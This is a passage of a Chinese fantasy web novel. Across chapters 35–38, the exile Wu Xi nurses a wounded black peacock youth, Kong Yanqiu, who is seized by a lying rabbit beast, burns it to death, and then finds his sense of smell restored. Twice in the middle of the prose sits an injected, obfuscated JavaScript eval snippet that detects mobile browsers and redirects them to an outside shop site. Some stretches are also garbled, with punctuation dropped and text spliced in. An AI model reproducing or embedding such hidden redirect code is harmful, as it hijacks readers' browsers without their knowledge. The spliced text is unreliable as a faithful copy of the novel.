这倒是真的,巫曦的眉心也天然长着一颗明艳的小红痣,他摸摸自己的额头,叹了口气。 “我们倒是有缘呢,”他说,“大家同是天涯沦落人,也不能就把你扔在这儿,让你在荒郊野地里等死……” 他思索一会儿,像是做出了什么重大决定,起身跑向自己的屋子,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巫曦揪了揪,发现它是直接长在少年耳后上的,顿时更觉奇怪。 这这这,这是哪里来的神人?就算在羽民国,也没有这样怪异的长法啊? 第三天,巫曦终于清理到了他的后背和手臂。 盯着眼前的宽大羽翼,覆满黑紫色羽毛的双肩,还有钩爪锋利的十指,巫曦陷入了沉思。 原来,他根本就不是神人啊。 巫曦深沉地点了点头,严肃地说:“原来,你是个鸟人……嗯这么说不对,原来,你是个妖人……啊不,这个更不好……” “原来你是个鸟妖!”巫曦一拍掌心,舒坦了。 可是,他是妖族,我是神人,妖是吃人的,我还要救他吗? 巫曦踌躇满怀,他盯着少年毫无血色的面孔,又看到他眼下的两粒小痣。 传说中,在上一世流泪不尽的灵魂,才会在这一世生出泪滴般的痣,他胡乱地想,他看起来跟我一样大,也跟我一样孤零零地落到雪原,而且还身受重伤,被烧成这样……多么可怜!他的双亲若是知道,肯定心疼得要命吧? 推己及人,巫曦再也狠不下心肠,就这样一走了之。 他长叹一口气,接着蹲下来,继续清理孔雀少年身上的焦痕。 作者有话要说 【忘记说了,本文世界观脱胎于山海经,引用背景的佛教名词也都十分门外汉,大家不必深究……!】 巫曦:*在雪原上走来走去,捡他认为可以吃的任何东西*这里当然不是天堂,但再也没有人管我可以吃什么了,所以我想也不算太糟糕。 巫曦:*立刻被从天而降的烤大鸟砸倒在地,发出哀鸣*呃呜! 还是巫曦:*从地上爬起来,立刻开始流口水* 烤大鸟:*一动不动地躺着,一动不动地露出完美的面庞* 巫曦:*脸红了* 第 36 章 净琉璃之国(四) 待巫曦把他团作一堆的尾羽,以及毛茸茸的,形如鹰爪的下肢都清出来,然后再故技重施,把人绑在背上,走一步,歇三步,艰难地拖回了木屋。 孔雀少年比他高壮得多,他把人推上木床,自己同样累得够呛。 “你可真沉啊!” 巫曦抹掉脖子上的汗珠,翻出秦椒枝扎的小扫帚,将他身上的残余炭渣清扫干净。 “没多余的地方了,咱俩就挤一挤好了。”他高高兴兴地说,并不觉得自己的床被别人占了,正相反,他觉得来了一个同龄人,以后说不定还可以陪自己一块玩。 巫曦把人推到里头,自己躺到床沿,条件有限,就这么和衣而眠,凑合着睡了过去。 夜半,巫曦是被热醒的。 他迷迷瞪瞪地爬起来,往旁边一看,少年的脸孔已经涨得通红,胸膛也一片绯红。他在昏迷中不住喘气,汗珠一颗叠着一颗地往外涌,浑身的羽毛都打湿了一层。 巫曦支起鼻子,闻了闻他身上的味道。 “你发烧了!”他大惊失色,赶紧蹦起来,裹上毯子出门舀雪,再用鲛绡的窗帘浸了冰水,一块敷在他的额头上,一块用来擦身。 少年痛苦地低吟,朦胧中,他的眼睑微微睁开,流转出一隙暗金色的华光,接着又紧紧地闭上了。 巫曦细致地抹去他鼻尖上,额头边,还有胸前的汗珠,耐心地用雪水擦拭他的羽毛,捋掉上面顽固的血水和疮痂。很快,那些脏兮兮的羽毛便再度焕发出幽邃润泽的光芒。 巫曦进进出出,又换了三桶雪。 照理来说,大荒的落雪乃是冬神的遗泽,神人尚只能勉强承受它刺骨的冰寒,可这些象征玄冥的落雪却不能解除这妖族少年身上的烧热,又是为什么呢? 巫曦皱着眉头,擦到后背的时候,他摸到了少年的翅膀根部,忽然“啊”地惊呼。 先前天色已晚,加上后背的被羽太浓密,他居然没有发现,这少年的左羽翼遭受过十分严重的撞击,肱骨和尺骨都已经弯折得扭曲了。 “哎呀!”虽然受伤的不是自己,巫曦还是吃疼地皱起脸,“这可怎么办?” 当务之急,唯有把人先翻过来,不能再压着骨折的地方了。 巫曦给少年翻了个身,让他正面朝下,再往额头上垫一块冰凉窗帘,把完好的右羽翼收拢起来,受伤的翅膀则轻柔地搭在床上,连着丰密的一大捧尾羽都支棱到上头。 他正在整理那些羽毛,手腕忽然一紧,就像被烙铁烫了一下,将他惊得一跳。 巫曦低头一看少年犹如猛禽利爪的手掌正牢牢扣在他的腕子上对方侧着头半睁开一只混沌无光的暗金色眼瞳哑声道:“你……” “你生病了”巫曦平复下扑通直跳的心脏安慰地摸摸他的头顶“我照顾你不要怕。” 少年的眉眼忽地轻轻一动他失神地睁大了眼睛仿佛要竭力看清巫曦的样貌但下一秒他失败了。 因为巫曦很快用单手拿起另一块冰凉窗帘覆盖在他的眼睛上。 “好好休息这样才能快快降温!” 尽管他自己也是才十四岁的孩子此刻装起医生充满威严地叮嘱另一个看起来比他大不了多少的孩子倒是十分轻车熟路。 少年顽固地拽着他执意不肯松手好在他的钩爪锋利弯曲而巫曦的手腕却纤细稍微一扭就挣脱出来了。 “病人就要乖乖听话……”巫曦絮絮叨叨的流落大荒已经月余这还是他第一次跟其他人毫无敌意地搭话因此一点也不觉得困倦只觉得开怀“喏 说着他以指为梳打理好翅膀上乱七八糟旁逸斜出的飞羽将它们挨个排列整齐再把揉成一团的尾羽捋顺成光滑整洁的状态。等他做完这一切少年又沉沉地昏睡了过去。 巫曦放松下来大大地打个哈欠他自己也累得够呛但还是强撑着再换了一次冰镇的敷布才谨慎地避开受伤的翅膀钻到翅膀展开的浓密厚羽下面疲倦地睡着了。 再次醒来巫曦的肚子咕咕叫。 他揉着眼睛全身被羽绒围得暖乎乎的转头一探少年额头上身上的敷布俱烤得干透了。 “啊!” 巫曦跳起来快快地提着桶出去打雪。 连日风雪呼啸不复晴天时的温和平缓他一推门又被狂风给顶回来赶紧三步并作两步跨到床边拿起毛毯给自己围上。 巫曦出去一趟回来时眉毛、头发上全是雪。他随便抹掉先给少年换布降温忙完一圈再开始张罗今天的饭。 因为要迁就病人巫曦今天吃得清淡。他煮了薯蓣汤前些日子因为身后这只黑孔雀从天而降引发的大规模化雪原先被深埋在雪里的东西都暴露了出来他趁乱在附近好一顿寻摸倒是拾了好些霜翰鸟掩在冰雪中的蛋这顿也一起打进去。 “托你的福这两天我们有蛋吃啦!”巫曦快活地说“也给你尝尝我的手艺……” 他停顿一下想起之前在王宫的富裕生活忍不住 感慨:“不过,这里没什么调料炊具,顶多就是煮啊,蒸啊的,也不算我真正的本事。你吃了,若觉得不好,可不要小瞧我呀。 他自说自话,说完了又自己先哈哈笑,不多时,一碗热气腾腾的薯蓣蛋汤熬出锅,盛在瓷碗里。 巫曦把人费劲儿地搀扶起来,家里只有一把勺子,他也大方地让给客人:“你用我的勺子吃吧!给你擦干净,别嫌弃,这儿比不得王宫。 他吹凉蛋汤,给少年喂了两口,好在病患虽然高烧不退,意识昏沉,闻见了食物的香气,好歹还能张个嘴。 巫曦也是小孩子心性,见自个儿伸一下勺子,对方就张一下嘴,咽一下喉咙,顿时觉得十分有趣,手上不停地填了大半碗进去。直到病患不再张嘴,方觉得自己是个热情周到的主人,没有把客人饿到。 “好!剩下的我吃! 他一口气把剩下的蛋汤倒进嘴里,又蹲在地上吃了半锅。 索性天色还早,外头风声和雪声大得吓人,他给人擦了嘴,再原样扶着躺下,重新贴好敷布,自己则闲得团团转。 做点什么好呢…… 巫曦实在无聊,于是搬过小板凳,点上羊油灯,摸出块粗糙的木头,坐在灯光旁,聚精会神地雕琢木块,试图按照自己的心意,改变它的形状。 可惜,巫曦在药食上颇有造诣,在雕刻上就是纯然的不通门路。他和木头较劲半天,刀光晃得烛火一闪一闪,却连个四不像都没雕出来,气 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起来什么,他兴致勃勃地拍了拍手:“说起有颜色的鸟儿,以前我宫里的阿嬷给我讲故事,只告诉我大荒上有一只剧毒的黑色大鸟,麾下纠结了一批凶兽,四处横行作恶,也不晓得是什么来头。我小时候调皮捣蛋,阿嬷一吓唬我,就说‘黑鸟要来把你抓走!’,吓得我常常睡不着觉。不过,我还从来没听说过像你一样的黑孔雀……” 说到这儿,巫曦的声音渐渐小下去。他忽然意识到,既然黑孔雀如此反常,而金曜宫又以蓝绿、白色孔雀为尊,那眼前的陌生少年,会不会是被金曜宫排斥,才由着他在危险的大荒四处游荡的? “对不起,”尽管对方听不到,他还是很不好意思地跟对方道了歉,“其实黑孔雀的羽毛特别好看,你人也长得漂亮,比我漂亮,喜欢你的人肯定会有很多!” 他的夸赞和祝福完全出自真心,不掺半分虚假。巫曦本人就是长留王的子嗣中最好看的小孩儿,哪怕长留王本人并不喜欢他,动辄对他大加斥责,他依然能够从小靠着不凡的姿色,跑到庖厨的宫人那里骗吃骗喝。 所以在巫曦心里,“长得好”等于“吃得好”,看到一个比自己长得更好的同龄人……同龄妖,他的第一反应就是羡慕。 他给少年换好敷布,吹灭油灯,还像昨晚一样,钻进热乎乎的羽翼下面,小心地不碰着伤处。 “希望后面几天不要下雪,我就可以带你出去呼吸新鲜空气了。”巫曦憧憬地道,“顺带还能找些吃的……嘿嘿,跟你说,我的鼻子可灵了。” “晚安。”他小声说,“祝你做个好梦。” 作者有话要说 【也祝大家好梦呼呼呼……(沉睡)(咂嘴)(说梦话)】 巫曦:*挥舞着薯蓣棍,驱赶那些围绕在烤大鸟身边的妖兽*走开,走开,你们这些混蛋! 还是巫曦:*用棍子狠狠抽了那些妖兽的屁股,因为他们觊觎的眼神令人感到不舒服*哼哼,我看谁还敢造次! 以及,还是巫曦:*为了治病摸遍大鸟的全身,包括他的大尾巴,然后把大鸟的翅膀当做被子盖*现在我的生活是完美的zzzz…… 第 37 章 净琉璃之国(五) 业摩宫中,飞禽阵阵尖鸣。 黑紫金的火焰纹饰装点着巍峨古傲的建筑物,它像群山一般起伏,也如群山一般雄伟连绵。黑铁的斗拱环环相扣,浮雕着吞云吐雾的异兽,飞檐翘角,末端延伸出厚重的鎏金孔雀尾羽,檐下悬挂的护花铃,也是盘旋的孔雀形状。 “孔宴秋……还没有找到?”一只人形的蛊雕低声发问。 “没有。”他的同伴简短地回答,“你又忘了规矩,要叫尊主。” 大荒的凶鸟恶禽,有半数收拢在业摩宫麾下,为“尊主”效力。而此地真正的主人,便是方才蛊雕口中的孔宴秋。 论起资历岁数,孔宴秋在妖族普遍的看法里,只能算是乳臭未干的扁毛鸟,然而论起本领神通,孔宴秋的手段却十足的老辣狠毒,令人惊异。他利用先天伴生的五蕴阴火,在不肯臣服于他的羽族体内留下火毒。一旦毒发,等待他们的下场只能是从里到外地被活活烧死。 孔宴秋控制着火毒,就像攥着栓狗的铁链,并且,他本人也和他的伴生灵火一样阴鸷可怖。 他是天然的五感失衡,与众生不同。寻常人纵情享乐,是因为世间声色俱美,总有美人美景美食美物可以受用,然而落在孔宴秋身上——他分不清美人的脸,美景是一团脏污的色块,美食则犹如黄连胆汁,面对一盆香气扑鼻的鲜花,他同样只能闻到粪土的污秽之气。 他是一个彻头彻尾的异类,他不能理解常人的感官体会,自然也就无从理解常人的喜怒哀乐、离合悲欢。 孔宴秋的话很少,在对话时,他从不做主动开口的那一个,通常是等下属结束陈述或者争辩,他才会粗哑地吐出几个字作为结论。他似乎永远在视察他人,永远森冷地旁观他们的一举一动。大多数时候,下属都不能领悟他的缄默究竟意味着什么。 是无言的生路,还是死寂的绝路?他们不知道,正如他们无法预测,自己下一秒是会平安无事地走出主殿,还是被当场烧成一团扭曲的烂肉。 刑不可知,则威不可测。这些食人吮血的凶禽,以前也是令神人诸国闻风丧胆的存在,然而现在,他们便如真正的惊弓之鸟,苟且着,瑟缩着,拼命揣摩这头年少的黑孔雀的一言一行,指望能从他残酷多端的内心中寻求出稍稍安全的区域。 蛊雕不甘心地沉默片刻,低语道:“许是被金曜宫的大孔雀清理门户了,也未可知。” “慎言。”同伴继续提醒,“当心隔墙有耳。” 蛊雕气恼,却也无可奈何。 在业摩宫,孔宴秋 与金曜大雪山的宿怨,是每个妖族都知晓的公开秘密。据这些年的传闻总结,孔宴秋的根脚在金曜宫,本来也是千尊万贵的明王备选。可惜,他一生下来就身俱异色,羽毛不是常见的蓝色绿色,更不是祥和的白色,反而是不祥的黑紫,并且身负五蕴阴火。破壳出世的那一刻,便烧伤了看护他的长辈,以及他的生身父母。 经此一事,金曜宫的大孔雀一致认定,此子实在太过危险,把他留在金曜宫,只会使雪山污浊。 于是,他们将刚出世不久的孔宴秋丢下大雪山,任由他流落荒野,自生自灭。 只是世事难料,谁也想不到,不过两三百年的光景,大荒之中,业摩宫强势崛起,剑指金曜宫,两者针锋相对,大有不死不休的架势。 数月前,孔宴秋再度冲击大雪山的阵法,意图报仇雪恨。然而一晃几月过去,不仅金曜宫没有消息,孔宴秋也不知所踪,徒留业摩宫的禽鸟众说纷纭,议论不休。 这些天来,鬼车游荡,鬿雀搜寻,一拨又一拨的鸟兽翱翔在大荒的天空之下,试图找到孔宴秋的踪迹。 尊主失踪,他们体内的火毒该如何缓解?是以尽管他们对孔宴秋又恨又怕,找起人来还是不遗余力,各自尽心。 所以,那个煞星究竟去了哪里? 巫曦哼着歌儿,蹒跚地走在雪地上,身后背着一捆薯蓣。 “癸卯卜,今日雨。其自西来雨?其自东来雨?其自北来雨?其自……咦?”他停下脚步,望见前头一群野鹁鸽在雪里蹦蹦跳跳,遂用灵火弹下来两只,顺手揣在腰间,回去当储备粮。 朔风摧折数周,这日终于是难得风晴的好天。巫曦的脸蛋冻得通红,呼哧呼哧地哈着白雾,开始像小仓鼠一样,忙着补充这些天来消耗的物资。 孔雀少年的烧退得差不多了,只是翅膀的伤一直没有处理,巫曦也不敢自己上手给他正骨,谁知道妖族和人族的生理差异有多大?因此,他打算等对方醒了,两人互通姓名,彼此认识了之后,再好好地和他讨论翅膀的问题。 “今儿天气不错!”巫曦眯着眼睛笑,“等一下带他出来呼吸新鲜空气,也不能总是在木床上闷着,人都要发霉了……” 这段时日,巫曦的心情十分愉快。自打他掉落雪原,有了稍微稳定的食物来源之后,“孤独”和“寂寞”就成了白天黑夜,一刻不停折磨他的一对孪生子。他只能跟自己说话,晚上睡不着的时候,也只能数自己的手指头和脚趾头。 但是有了一个同伴,这就大不一样了。哪怕这个同伴不能开 口,还在昏迷,巫曦都觉得完全没关系,反正他会好好照顾病人的。 如今,黑孔雀砸下来的天坑早已被暴雪填平,那些燃烧的黑紫色火焰,也跟着一同消失在了风雪当中。落雪会修正一切异常,将天地持之以恒地粉刷成一望无际的白色。 巫曦回到他简陋的小家,他重新修筑了地道,将薯蓣放进冰窖之后,他推开房门,动力十足,准备带少年出去透透气。 “来吧,他把人半扛半抱地弄起来,鼓励地说,“你不能总在床上躺着,我…… 巫曦一扭头,忽然就笑喷了。 真的在床上趴了太久,少年那精致漂亮的脸蛋上,都硌出了木板床的条纹。几根宽窄不一的红印,清晰地浮现在他一边的皮肤上,显得可怜兮兮的。 “你脸上都躺的有印儿了!巫曦大声笑道,一边用手指给他擦擦,想把那些痕迹抹平,却忘了先前挖薯蓣的时候,泥巴还留在自己的指头上,一不留神,反倒给人家脸上多捏出四个小小的黑指纹。 “哎呀…… 巫曦讪讪的,不敢乱擦,只好先将人扶起来。 好在这里是伐木人修建的小屋,前些日子,他从附近融化的雪地里发现好些砍开的木材板,赶紧趁雪还没下到一人高的时候拖到家门口放着,又在闲暇时拼成了一整块。现在,刚好可以把人放在上面,用绳子拽出去。 巫曦先将人推出地道,自己再冒出头,气喘吁吁地爬上来。 “怎么样,天气不错吧?他一屁股坐在旁边,嘿嘿直笑,“这会儿不是很冷,刚好上来透透气,成天憋在家里,也养不好病。 他抓起一把雪,把手上的泥巴搓干净,再去梳梳少年翅膀上的羽毛。 “我跟你说,最近我总觉得自己的力气变大了,哈哈!以前在王宫里,做什么都有人照顾,如今到了这儿,做什么都要自己来。我胳膊都粗了!你看。 说着,巫曦装模作样地弯起手臂,展示他被衣物层层包裹的肌肉。 当然了,少年紧闭双眼,是没法回应他的,巫曦看着他的脸,又瞥见方才沾染上去的泥巴印,于是伸手,打算替对方擦掉。 就在他即将要触到黑孔雀的瞬间,异变陡生。 巫曦身侧的雪地豁然翻起咆哮的巨浪!这股浪头的冲击力,将孔雀少年和巫曦都高高掀飞到半空中,巫曦吓得大叫,一头砸穿雪壳,跌进厚厚的深雪里,溺水般扑腾。 木板砸在身后,巫曦竭力挣扎出来,一下子愣住了。 ——一只白象般的巨 兔,就耸立在他们方才坐着的位置,人面姣美,兔爪牢牢攫着昏迷不醒的黑孔雀。 “真巧啊,小神人,”巨兔口吐人言,声音婉转动听,弯起细长的眼睛,笑眯眯地望着巫曦,“一下就逮到你们了。” 巫曦顶着一头的雪,惊骇道:“讹兽!” 讹兽形如白兔,人面俊美,虽然能言善辩,嘴里却没有一句真话,欺骗他人就是它的天性。它说“真巧啊”,就证明这根本不是偶遇,它已经在这里蹲点很长时间了。 “你要做什么?!”巫曦怒气冲冲地质问,“快把人放下,他受伤了,你不要那么抓着他!” 讹兽看了看手里的孔雀,又看向巫曦,不知为何,它忽然放声大笑起来。 “小神人,你知道他的身份吗?”它诡谲地伸长脖子,居高临下地探头张望巫曦,“看样子,你不知道啊。我实话告诉你罢,这只小孔雀秉性纯良,腼腆又温顺,他走丢之后,他的父母担心得不得了,特地让我来寻了他,好送回去,叫他们一家团聚呢!” 它眯着眼睛,在人面上露出一个裂开到耳根的笑脸,充满纯然的恶意。 “我来做好事,又碍着你什么了?”讹兽咯咯直笑,“看在你是帝少昊的后裔的份上,我暂且不拿你怎么样……” “你……”巫曦害怕地后退,他才不相信对方的胡言乱语,一下便醒悟过来,“你想吃了他!你早就盯上他了,是不是!” 只要进补比自己更加高级的妖兽精血,就能提炼自己的血脉,使自身更上一层楼——妖族兽类的修炼方式大抵如此,稍稍一思考,答案便呼之欲出。 前些时日,他都把孔雀藏在自己的屋子里,守生阵法一开,再没有闲杂人等能来侵扰,可到了今天,是他自己被多日安宁的生活麻痹,忘了警惕,才把黑孔雀带出来的! 讹兽咧嘴大笑,巫曦又悔又恨,他忘了害怕,手脚并用,拼命朝孔雀少年跑过去:“放下他!我不许你把他带走……我不许你抢走他!” 讹兽的笑声更加洪亮,它轻而易举地一个甩尾,仅凭气浪,就将巫曦再次掀飞出去十多米远。讹兽一路长笑,后腿发力,一跃就是数百米的跨度,震得雪原摇晃,每一次落地的声响,便如浩瀚的钟鼓,沉沉地传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038201|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍四方。 它不顾身后那个孱弱的小神人如何追逐哭喊——少昊的稀薄血脉,怎么敌得过金曜大雪山的纯种黑孔雀? 总算被它捞到宝贝了!数周过去,那个小神人倒是谨慎勤勉,总把孔雀留在他那间坚不可摧的破屋子里头,今日好不容易松了 精神,肯带着孔宴秋出来露脸。 大好机会,岂有放过的道理?讹兽喜滋滋地策划着这只黑孔雀要如何分配:精魄就先拘起来,血肉食净炼化,剩下的翎羽钩爪,还能做一副上好的法器…… 真是想不到啊,业摩宫的尊主,象征苦毒俱厄,身负五蕴阴火的黑孔雀,今天却要栽到它的手里。世事无常,果真是凡俗生灵无法预料的! 越想越得意,狂喜之下,讹兽已经跳出了数百里的距离。它知道,可不止自己的眼睛盯着重伤昏迷的黑孔雀,大荒中多的是竞争者,时刻虎视眈眈地等着吃这块香肉呢。 还是早点回到洞府为妙,讹兽在心中盘算,夜长梦多,总是容易生事。 它满心欢喜,满心筹谋,却没有发觉,在自己掌中,孔宴秋的眼皮跳动了一下。 等到我吞吃了孔雀的精血,不仅修为能再上一层楼,说不定还能如先祖一般,跻身神兽的位……! 不等它继续遐想下去,刹那间的黑光,已然席卷了讹兽全部的视线范围。 ——它先看到火焰,然后才感到痛苦。 讹兽迟钝地道:“什么……? 紧接着一记重创,犹如狂拳砸在它脆弱的内脏上,讹兽鲜血狂喷,坠落时发出的巨大轰鸣,便如陨石摇撼了大地。 它姣好的人面已然破碎,五内俱焚的剧痛,使它连还手的力气都没有,或者说,连尖叫的力气都没有。它匍匐在雪地上微微蠕动,而这已经是它能做到的,最大程度的挣扎了。 头顶传来翅膀拍打的雷霆风声,讹兽的视线里,一双形如鹰爪的钩足缓缓落地,两声清脆得令人牙酸的骨头折响,孔宴秋面无表情地掰正了左翼,降落在讹兽面前。 “我……我救了你…… 孔宴秋垂着眼睛,居高临下地望着它,暗金的双眸没有一丝情绪。他不像在观看一个即将被活活烧死的生物,更像在发呆,在借着火焰燃烧的纹路走神,直到讹兽说“是我给你养伤的时候,他才稍微有了点反应。 金曜宫留给他的伤势未曾痊愈,朦胧中,孔宴秋的耳边似乎当真传出了一个声音,叽叽喳喳的,活泼又聒噪,话说不了几句,自己倒是先快活地笑了许多声…… 是幻觉,还是讹兽的把戏? 大荒中人尽皆知,讹兽最擅撒谎,喜诬陷。既然是讹兽说的话,那必定是一个字也不用信。 孔宴秋腻味地转过脸,下方 火势更盛,焚烧活物的浓烟凶猛翻卷,仿佛可以一路袭到苍穹之上。 黑火熊熊,讹兽也跟着撕心裂肺地哀嚎起来。它的尖叫惨绝人寰,震动四野,惊得方圆百里的鸟兽乱走狂逃,然而,却不能在凶手脸上激起哪怕最细微的一丝涟漪。 随着焚烧的黑烟卷向天际,青空中也逐渐出现了许多个越来越近的影子。不多时,鬼车鬿雀、酸与蛊雕,十来个大妖纷纷落在孔宴秋身后,朝面前这只年轻得过分的黑孔雀恭敬俯首。 没有谁再多看一眼地上的讹兽,哪怕它已经被烧成一团焦炭,还在微弱地喘息、抽搐——这样惨烈的场景,他们早就见怪不怪,甚至连兔死狐悲的情绪都快被磨得没有了。 “尊主,”鬼车恭敬行礼,谨小慎微地说,“您这些天都去哪儿了?叫卑职好找。” 孔宴秋没有动,也没有回答。 记忆深处……似乎有什么人在说话。 “你长得可真漂亮,比我好看多了!” 他的声音。 梳理过羽毛的手指,纤细灵敏,一下一下地挨碰着自己的脊梁。 他的举止。 “哈!看我今天又捡到了什么?咱们可以加餐了!” 他的笑。 ……我应当是失心疯了,孔宴秋想。 难道被金曜宫的孔雀打过头,还把癔症打出来了不成?否则,我怎么会产生这种不切实际的幻想,我居然在脑子里幻想出一个言行古怪的小孩子,幻想他在我重伤昏迷的时候,还能无微不至地照拂我…… 鬼车又小心地提示:“尊主,您的脸……?” 孔宴秋若有所感,他一抬手,弯曲的爪尖轻轻擦过脸颊。 他摸到了四枚小小的泥巴指印。 作者有话要说 【发布两条公告—— 一是给小黑鸟的名字改了个字,之前那个有点素,不太像孔雀的名字,但插画已经不能修改了,大家忽略即可。 二是晋江新版出了之后,投雷和营养液可以自动显示,我就不再占用作话的空间了,大家也可以专心看小剧场酱紫! 发布完毕!本章发200个小红包,感谢大家!】 第 38 章 净琉璃之国(六) 也不知是什么时候蹭到的。 孔宴秋面无表情地放下手臂,那层浅浅的泥印就消散了。 数月前,他攻上金曜宫,那些老不死的孔雀上来就用五色神光偷袭他,孔宴秋到底寡不敌众,又实在年轻,很快就被当头打下九重云端。为了自保,他放出五蕴阴火来抵消神光的万钧之力,不料那火却反被神光压制,导致反噬自身。 孔宴秋终日打雁,如今也被雁啄了眼睛。火毒噬主,吞没了他的神志,使他浑浑噩噩了不知多少时日,醒来的第一眼,就看到讹兽志得意满的表情。 真是好笑,他面上冷漠,内心快意地盯着地上焦黑的尸骨,静静地欣赏了好一阵子。 恃强凌弱,物竞天择,万物生灵都是一样的,又有谁能免俗? “回业摩宫。”他说,同时展开一双风雷云纹的黑翼,一飞冲天。 万里高空,罡风席卷,孔宴秋沉默不语,身后的禽鸟也不敢发出任何多余的声音。 寂静中,他忽然说:“我走失这些天……” 他只说了六个字,便突兀地住了嘴。 身后的鬿雀不敢怠慢,毕恭毕敬地道:“您离开这些天,卑职等日夜挂心,一直苦苦搜寻。” 孔宴秋:“算了。” 话题没头没脑地挑起,又没头没脑地结束,凶禽们一头雾水,只是谁也不敢提出疑问。 伴随着风雷咆哮的巨声,业摩宫的主人终于回归。孔宴秋无视那些赶来说场面话,客套话的下属,更无视他们表面欢喜恭敬、内心忌惮憎恨的祝贺,径直往里飞去。 太吵了,一切都是那么鼓噪。 妖兽嘈杂的嗓音,他们脸上各怀鬼胎的神色,杂乱的心跳和血流声,还有气味——人血兽血的气味,腐烂的尸体的气味,惨死之人泪水的咸味,骸骨没有消化完全的腥臭气味……这些统统混杂在一起,形成的是令他无比厌憎,需要强行忍住杀意的恶浊之相。 孔宴秋的眉宇间充满戾气,他在心里盘算,只要那些禽鸟再不知死活地跟来一步,他就当场烧死几只以儆效尤。可惜,下属们的直觉已经磨练得分外敏锐,察觉到潜在的杀机,当即驻足不前,再不去触孔宴秋的霉头。 他飞过伟岸的宫室,这些全是凶禽为了逢迎他,打探他的喜好才修建的华美建筑,然而孔宴秋视若无睹,如果可以的话,他只消一片草席,一个容身的洞穴就足够了。 他心如铁石,对于一个生下来就看不到颜色之美,听不见音乐之美,尝不到食物之美,闻不到香气之美,体会不 到触觉之美的残缺之物来说,世俗的物欲,那些所谓的好东西,于他又有何益呢? 除了复仇,报复金曜宫的所作所为之外,孔宴秋无路可走,无处可去。 宽大的羽翼带动盘旋的气流,廊下侍从如云,为了庆贺宫殿主人的归来,一盆盆奇花异草、兰芝仙树,被陈列在走道两旁,孔宴秋的鼻翼微动,猛地停下了脚步。 他似乎闻到了……闻到了什么不一样的气味。 ——一缕奇怪的,轻滑的气息,缓缓地漫进了他的鼻腔。 那不是刺鼻的血腥味,不是焚烧时令人作呕的焦臭味,不是腐败霉变的恶心味,更不是酸味、苦味、涩味…… 正相反,它轻得像一片雾,毫无负担,无忧无虑地徜徉在他的鼻尖。它不是沉重的东西,不是晦涩的东西,它几乎让人觉得…… 觉得愉快。 孔宴秋困惑地伸出手,不远处,侍从捧着的玉瓶便腾空而起,一下被他抓得粉碎,只留下当中盛开正艳的芙蓉花。 他试探地凑进花瓣当中,先是微微地嗅探几下,继而长吸一口气,如云浓密的沁香完全占据了他的鼻腔,令他头晕脑胀,瞬间忘记了一切。 孔宴秋不能理解这种全然陌生的体验,然而,脑海中却有一个声音告诉他,这应当就是“花香”。 这一刻,他的瞳孔剧烈颤抖,心中的骇然压过了震惊。 数百年来,他在恶臭的浊气中苦苦忍耐,所能闻到的最好的味道,就是干净空气的味道。可他方才闻到的气味,已是他有生以来从未感受过的。 我的病好了?我不再阴魔缠身,五感失衡了? 孔宴秋战栗不已,他突然暴起,发狂地揉碎了掌中的硕大芙蓉,然后一口撕下,利齿挫动,用力咀嚼—— 不,不!还是一样的!除了尖锐的苦涩之外,再无其他。 淡红的汁水顺着他苍白的嘴唇淋漓流淌,孔宴秋冲进侍从的队列,将那些年轻雀鸟吓得手脚发软,哑口无言。 他仔细闻过所有的玉瓶花盆,他的鼻腔里旋转着各种各样的小小奇迹:兰花香气淳正,月桂甘美馥郁,蕙草清淡纤巧……他跟着再闻过水果或浓或淡的甜香,松木有脂肪般的淡香,薄荷冲得鼻子发凉,檀香醇厚柔软,竹枝掰断的味道则清冽得像是泉水,潺潺流过鼻尖。 ……解开了。 自从出生起就被封闭的五感,居然解开了一种! 世界向孔宴秋敞开了一扇奇异的大门,从前他徘徊在紧闭的门外,哪怕绞尽脑汁,也无法想象出门内的景 色究竟是何等模样。现在这扇大门忽然开启,于是洪水般恢宏混杂的气味,以及气味所携带的繁多信息,全一股脑地向他涌来,誓要将他淹没、冲垮。 业摩宫的禽鸟目瞪口呆,噤若寒蝉地望着一个突然疯了的孔宴秋。 他们看他飞上飞下,到处嗅闻不同的地方,除了花啊草啊的,连宫殿上边的屋脊铜兽都不放过。这些禽鸟认识孔宴秋百年之久,从未见他如此失态,状若癫狂。 “难不成,是被金曜宫的老孔雀打坏脑子了?” 孔宴秋不管底下的妖鸟如何看自己,偌大的业摩宫,他在其间发疯地尝试了一圈,最终失魂落魄,难以置信地跌坐在御座之上。 ……这张椅子闻起来是冷的,他恍惚地想,侍从勤于擦拭,日积月累,因此它也染上了一种皂角和乳脂的淡香。 究竟发生了什么?自己的嗅觉怎么会突然解开,恢复正常? 孔宴秋后悔了,他不太了解这种迟来的,含糊的情绪是什么,他只是突然想到,自己不该那么快杀了讹兽。 我昏迷的时候到底去了哪里,遭遇了什么事,只要讹兽还活着,总能挖出一点蛛丝马迹可供探查。但现在它死了,被烧得魂飞魄散,连头尾都分不清,自然失去线索,使人无从查起。 “去找。”他沙哑地下令,“我失踪这段时日究竟落到了哪里,又是和谁待在一起……给我找!” 孔宴秋拼命回忆,在脑海中搜寻被烧得残破的记忆,他试图从这些碎片中拼凑出线索。那很有可能不是他的臆想!也许真的有一个人,真有这么一个人,他梳理过他的羽毛,为他擦汗,润湿他的嘴唇,悉心照顾他,甚至夸耀他翎羽光华,美丽非常…… 我漂亮吗?孔宴秋茫然地想,什么才是世俗定义的“漂亮”? 他的世界里,向来只有黑白灰三种颜色,那些万众称誉的美人美景,在他眼里也不过是一堆杂糅的线条。世人说孔雀华美艳丽,孔宴秋自知身带异色,无法与那些“辉煌灿烂”的蓝绿孔雀相比;世人又总对他避之不及,言谈间多有畏怖恐惧之意,于是孔宴秋也明白了,自己应当是面目可憎,丑陋不堪的怪胎。 真的会有人用“漂亮”和“美丽”的字眼,来形容我吗? 